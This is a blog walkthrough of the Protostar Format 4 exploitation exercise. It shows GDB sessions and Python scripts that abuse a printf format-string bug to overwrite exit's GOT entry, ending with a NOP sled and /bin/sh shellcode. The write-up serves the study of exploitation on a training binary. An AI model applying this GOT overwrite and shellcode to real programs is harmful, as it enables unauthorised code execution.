Protostar Format 4 Walkthrough

Format 4 Challenge

Here’s the source code for the challenge, format4.c:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int target;void hello()
{
printf("code execution redirected! you win\n");
_exit(1);
}
void vuln()
{
char buffer[512];
fgets(buffer, sizeof(buffer), stdin); printf(buffer); exit(1);
}
int main(int argc, char **argv)
{
vuln();
}

Exploring the Stack

First thing we’ll do is try to explore the stack of the program when printf is called. Let’s open format4 in GDB:

user@protostar:/opt/protostar/bin$ gdb format4
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/format4...done.
(gdb) set disassembly-flavor intel
(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>info registers
>x/1i $eip
>x/32x $esp
>end
(gdb) set pagination off
(gdb) run
Starting program: /opt/protostar/bin/format4
ABCDEF
ABCDEF
Program exited with code 01.
Error while running hook_stop:
The program has no registers now.
(gdb) run
Starting program: /opt/protostar/bin/format4
%p
0x200
Program exited with code 01.
Error while running hook_stop:
The program has no registers now.
(gdb) run
Starting program: /opt/protostar/bin/format4
%p%p%p%p
0x2000xb7fd84200xbffff5f40x70257025
Program exited with code 01.
Error while running hook_stop:
The program has no registers now.
(gdb) run
Starting program: /opt/protostar/bin/format4
AAAA|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p
AAAA|0x200|0xb7fd8420|0xbffff5f4|0x41414141|0x7c70257c|0x257c7025|0x70257c70|0x7c70257c|0x257c7025|0x70257c70
Program exited with code 01.
Error while running hook_stop:
The program has no registers now.

Reading Arbitrary Program Memory

OK, let’s start crafting our exploit, and we’ll start with exploring the program memory:

#!/usr/bin/pythonimport structbuf = ''
buf += 'AAAA'
buf += '|%p'*10
print(buf)
user@protostar:~$ ./format4.py >/tmp/f4
(gdb) run </tmp/f4
Starting program: /opt/protostar/bin/format4 </tmp/f4
AAAA|0x200|0xb7fd8420|0xbffff5f4|0x41414141|0x7c70257c|0x257c7025|0x70257c70|0x7c70257c|0x257c7025|0x70257c70
Program exited with code 01.
Error while running hook_stop:
The program has no registers now.
(gdb) disas hello
Dump of assembler code for function hello:
0x080484b4 <hello+0>: push ebp
0x080484b5 <hello+1>: mov ebp,esp
0x080484b7 <hello+3>: sub esp,0x18
0x080484ba <hello+6>: mov DWORD PTR [esp],0x80485f0
0x080484c1 <hello+13>: call 0x80483dc <puts@plt>
0x080484c6 <hello+18>: mov DWORD PTR [esp],0x1
0x080484cd <hello+25>: call 0x80483bc <_exit@plt>
End of assembler dump.
(gdb) x/s 0x80485f0
0x80485f0: "code execution redirected! you win"
#!/usr/bin/pythonimport structbuf = ''
buf += struct.pack('I', 0x80485f0)
buf += '|%p'*3
buf += '|%s'
buf += '|%p'*6
print(buf)
(gdb) run </tmp/f4
Starting program: /opt/protostar/bin/format4 </tmp/f4
|0x200|0xb7fd8420|0xbffff5f4|code execution redirected! you win|0x7c70257c|0x257c7025|0x73257c70|0x7c70257c|0x257c7025|0x70257c70
Program exited with code 01.
Error while running hook_stop:
The program has no registers now.

Modifying Memory With printf

So far so good, but we only learned how to explore the contents of the memory. How is it even possible to hijack execution flow of the program with printf, doesn’t it just print stuff to the standard output? If we check man page for printf (the C function, not a command, i.e. man 3 printf), we find this gem in the BUGS section:

Code  such  as  printf(foo); often indicates a bug, since foo may contain a % character.  If foo comes from untrusted user input, it may contain %n, causing the printf() call to write to memory and creating a security hole.
The number of characters written so far is stored into the integer indicated by the int * (or variant) pointer argument.  No argument is converted.
(gdb) break main
Breakpoint 10 at 0x804851a: file format4/format4.c, line 27.
(gdb) run
Starting program: /opt/protostar/bin/format4 </tmp/f4
eax 0xbffff874 -1073743756
ecx 0xd63131a5 -701419099
edx 0x1 1
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff7c0 0xbffff7c0
ebp 0xbffff7c8 0xbffff7c8
esi 0x0 0
edi 0x0 0
eip 0x804851a 0x804851a <main+6>
eflags 0x200286 [ PF SF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
0x804851a <main+6>: call 0x80484d2 <vuln>
0xbffff7c0: 0x08048540 0x00000000 0xbffff848 0xb7eadc76
0xbffff7d0: 0x00000001 0xbffff874 0xbffff87c 0xb7fe1848
0xbffff7e0: 0xbffff830 0xffffffff 0xb7ffeff4 0x080482b3
0xbffff7f0: 0x00000001 0xbffff830 0xb7ff0626 0xb7fffab0
0xbffff800: 0xb7fe1b28 0xb7fd7ff4 0x00000000 0x00000000
0xbffff810: 0xbffff848 0xfc66e7b5 0xd63131a5 0x00000000
0xbffff820: 0x00000000 0x00000000 0x00000001 0x08048400
0xbffff830: 0x00000000 0xb7ff6210 0xb7eadb9b 0xb7ffeff4
Breakpoint 10, main (argc=1, argv=0xbffff874) at format4/format4.c:27
27 in format4/format4.c
(gdb) p target
$9 = 0
(gdb) p &target
$10 = (int *) 0x804973c
#!/usr/bin/pythonimport structbuf = ''
buf += struct.pack('I', 0x804973c)
buf += '|%p|'*3
# junk to make printf output 0x41 characters
buf += 'A'*(0x41-len(buf))
# this is where printf will write 0x41 to 0x80485f0
buf += '%n'
print(buf)
(gdb) disas vuln
Dump of assembler code for function vuln:
0x080484d2 <vuln+0>: push ebp
0x080484d3 <vuln+1>: mov ebp,esp
0x080484d5 <vuln+3>: sub esp,0x218
0x080484db <vuln+9>: mov eax,ds:0x8049730
0x080484e0 <vuln+14>: mov DWORD PTR [esp+0x8],eax
0x080484e4 <vuln+18>: mov DWORD PTR [esp+0x4],0x200
0x080484ec <vuln+26>: lea eax,[ebp-0x208]
0x080484f2 <vuln+32>: mov DWORD PTR [esp],eax
0x080484f5 <vuln+35>: call 0x804839c <fgets@plt>
0x080484fa <vuln+40>: lea eax,[ebp-0x208]
0x08048500 <vuln+46>: mov DWORD PTR [esp],eax
0x08048503 <vuln+49>: call 0x80483cc <printf@plt>
0x08048508 <vuln+54>: mov DWORD PTR [esp],0x1
0x0804850f <vuln+61>: call 0x80483ec <exit@plt>
End of assembler dump.
(gdb) break *0x0804850f
Breakpoint 11 at 0x804850f: file format4/format4.c, line 22.
(gdb) run </tmp/f4
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/format4 </tmp/f4
eax 0xbffff874 -1073743756
ecx 0x1cbc0fd9 482086873
edx 0x1 1
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff7c0 0xbffff7c0
ebp 0xbffff7c8 0xbffff7c8
esi 0x0 0
edi 0x0 0
eip 0x804851a 0x804851a <main+6>
eflags 0x200286 [ PF SF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
0x804851a <main+6>: call 0x80484d2 <vuln>
0xbffff7c0: 0x08048540 0x00000000 0xbffff848 0xb7eadc76
0xbffff7d0: 0x00000001 0xbffff874 0xbffff87c 0xb7fe1848
0xbffff7e0: 0xbffff830 0xffffffff 0xb7ffeff4 0x080482b3
0xbffff7f0: 0x00000001 0xbffff830 0xb7ff0626 0xb7fffab0
0xbffff800: 0xb7fe1b28 0xb7fd7ff4 0x00000000 0x00000000
0xbffff810: 0xbffff848 0x36ebd9c9 0x1cbc0fd9 0x00000000
0xbffff820: 0x00000000 0x00000000 0x00000001 0x08048400
0xbffff830: 0x00000000 0xb7ff6210 0xb7eadb9b 0xb7ffeff4
Breakpoint 10, main (argc=1, argv=0xbffff874) at format4/format4.c:27
27 in format4/format4.c
(gdb) p target
$11 = 0
(gdb) c
Continuing.
<|0x200||0xb7fd8420||0xbffff5f4|AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
eax 0x55 85
ecx 0x0 0
edx 0xb7fd9340 -1208118464
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff5a0 0xbffff5a0
ebp 0xbffff7b8 0xbffff7b8
esi 0x0 0
edi 0x0 0
eip 0x804850f 0x804850f <vuln+61>
eflags 0x200292 [ AF SF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
0x804850f <vuln+61>: call 0x80483ec <exit@plt>
0xbffff5a0: 0x00000001 0x00000200 0xb7fd8420 0xbffff5f4
0xbffff5b0: 0x0804973c 0x7c70257c 0x7c70257c 0x7c70257c
0xbffff5c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff5d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff5e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff5f0: 0x0a6e2541 0xb7ffef00 0xb7fed24f 0xb7ffe000
0xbffff600: 0x00001000 0x00000001 0xb7ffeff4 0x00000000
0xbffff610: 0xbffff6bc 0xb7fed61f 0xb7fffab0 0xb7fe1d68
Breakpoint 11, 0x0804850f in vuln () at format4/format4.c:22
22 in format4/format4.c
(gdb) p target
$12 = 84
(gdb) p/x target
$13 = 0x54
#!/usr/bin/pythonimport structbuf = ''
buf += struct.pack('I', 0x804973c)
# junk to make printf output 0x41 characters
buf += 'A'*(0x41-len(buf))
# this is where printf will write 0x41 to 0x80485f0
buf += '%4$n'
print(buf)
(gdb) run </tmp/f4
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/format4 </tmp/f4
eax 0xbffff874 -1073743756
ecx 0xdb1dea4c -618796468
edx 0x1 1
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff7c0 0xbffff7c0
ebp 0xbffff7c8 0xbffff7c8
esi 0x0 0
edi 0x0 0
eip 0x804851a 0x804851a <main+6>
eflags 0x200286 [ PF SF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
0x804851a <main+6>: call 0x80484d2 <vuln>
0xbffff7c0: 0x08048540 0x00000000 0xbffff848 0xb7eadc76
0xbffff7d0: 0x00000001 0xbffff874 0xbffff87c 0xb7fe1848
0xbffff7e0: 0xbffff830 0xffffffff 0xb7ffeff4 0x080482b3
0xbffff7f0: 0x00000001 0xbffff830 0xb7ff0626 0xb7fffab0
0xbffff800: 0xb7fe1b28 0xb7fd7ff4 0x00000000 0x00000000
0xbffff810: 0xbffff848 0xf14a3c5c 0xdb1dea4c 0x00000000
0xbffff820: 0x00000000 0x00000000 0x00000001 0x08048400
0xbffff830: 0x00000000 0xb7ff6210 0xb7eadb9b 0xb7ffeff4
Breakpoint 10, main (argc=1, argv=0xbffff874) at format4/format4.c:27
27 in format4/format4.c
(gdb) p target
$14 = 0
(gdb) c
Continuing.
<AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
eax 0x42 66
ecx 0x1 1
edx 0xb7fd9340 -1208118464
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff5a0 0xbffff5a0
ebp 0xbffff7b8 0xbffff7b8
esi 0x0 0
edi 0x0 0
eip 0x804850f 0x804850f <vuln+61>
eflags 0x200292 [ AF SF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
0x804850f <vuln+61>: call 0x80483ec <exit@plt>
0xbffff5a0: 0x00000001 0x00000200 0xb7fd8420 0xbffff5f4
0xbffff5b0: 0x0804973c 0x41414141 0x41414141 0x41414141
0xbffff5c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff5d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff5e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff5f0: 0x24342541 0xb7000a6e 0xb7fed24f 0xb7ffe000
0xbffff600: 0x00001000 0x00000001 0xb7ffeff4 0x00000000
0xbffff610: 0xbffff6bc 0xb7fed61f 0xb7fffab0 0xb7fe1d68
Breakpoint 11, 0x0804850f in vuln () at format4/format4.c:22
22 in format4/format4.c
(gdb) p/x target
$16 = 0x41

The Exploit

Our plan is clear now, we’ll use the input string to plant the addresses of the higher and lower halfs of the exit pointer in GOT, we’ll print the required number of characters and will use %hn twice to overwrite the address of exit in GOT with the address of hello().

(gdb) p hello
$17 = {void (void)} 0x80484b4 <hello>
(gdb) disas vuln
Dump of assembler code for function vuln:
0x080484d2 <vuln+0>: push ebp
0x080484d3 <vuln+1>: mov ebp,esp
0x080484d5 <vuln+3>: sub esp,0x218
0x080484db <vuln+9>: mov eax,ds:0x8049730
0x080484e0 <vuln+14>: mov DWORD PTR [esp+0x8],eax
0x080484e4 <vuln+18>: mov DWORD PTR [esp+0x4],0x200
0x080484ec <vuln+26>: lea eax,[ebp-0x208]
0x080484f2 <vuln+32>: mov DWORD PTR [esp],eax
0x080484f5 <vuln+35>: call 0x804839c <fgets@plt>
0x080484fa <vuln+40>: lea eax,[ebp-0x208]
0x08048500 <vuln+46>: mov DWORD PTR [esp],eax
0x08048503 <vuln+49>: call 0x80483cc <printf@plt>
0x08048508 <vuln+54>: mov DWORD PTR [esp],0x1
0x0804850f <vuln+61>: call 0x80483ec <exit@plt>
End of assembler dump.
(gdb) x/3i 0x80483ec
0x80483ec <exit@plt>: jmp DWORD PTR ds:0x8049724
0x80483f2 <exit@plt+6>: push 0x30
0x80483f7 <exit@plt+11>: jmp 0x804837c
#!/usr/bin/pythonimport structgot_exit = 0x8049724
got_exit_high = got_exit + 2
hello = 0x080484b4
hello_low = hello & 0xffff
hello_high = hello >> 16
buf = ''
buf += struct.pack('I', got_exit_high)
buf += struct.pack('I', got_exit)
# write the high part first
# we already wrote 8 bytes - the 2 memory addresses
buf += '%2044p' # 0x804-8 = 2044
buf += '%4$hn'
# write the low part now
buf += '%31920p' # 0x84b4-0x804 = 31920
buf += '%5$hn'
print(buf)
user@protostar:/opt/protostar/bin$ ~/format4.py | ./format4
&$
<snip>
code execution redirected! you win

Where’s My Shellz?

Without much explanation, here’s a modified exploit that executes a shell. 0xbffff5d0 is approximately the address of all the NOPs (\x90) we add to the buffer and we’re trying to jump to about the middle of the nopsled to get to the shellcode I’ve also added:

#!/usr/bin/pythonimport structgot_exit = 0x8049724
got_exit_high = got_exit + 2
# hello = 0x080484b4
hello = 0xbffff5d0 + 200
hello_low = hello & 0xffff
hello_high = hello >> 16
buf = ''
buf += struct.pack('I', got_exit_high)
buf += struct.pack('I', got_exit)
# write the high part first
# we already wrote 8 bytes - the 2 memory addresses
buf += '%' + str(hello_high-len(buf)) + 'p'
buf += '%4$hn'
# write the low part now
buf += '%' + str(hello_low-hello_high) + 'p'
buf += '%5$hn'
buf += '\x90'*300
buf += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
buf += "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
print(buf)
user@protostar:/opt/protostar/bin$ (~/format4_shell.py; cat) | ./format4

References

LiveOverflow Binary Hacking course — https://www.youtube.com/watch?v=iyAyN3GFM7A&list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Airman

Airman

Random rumblings about #InfoSec. The opinions expressed here are my own and not necessarily those of my employer.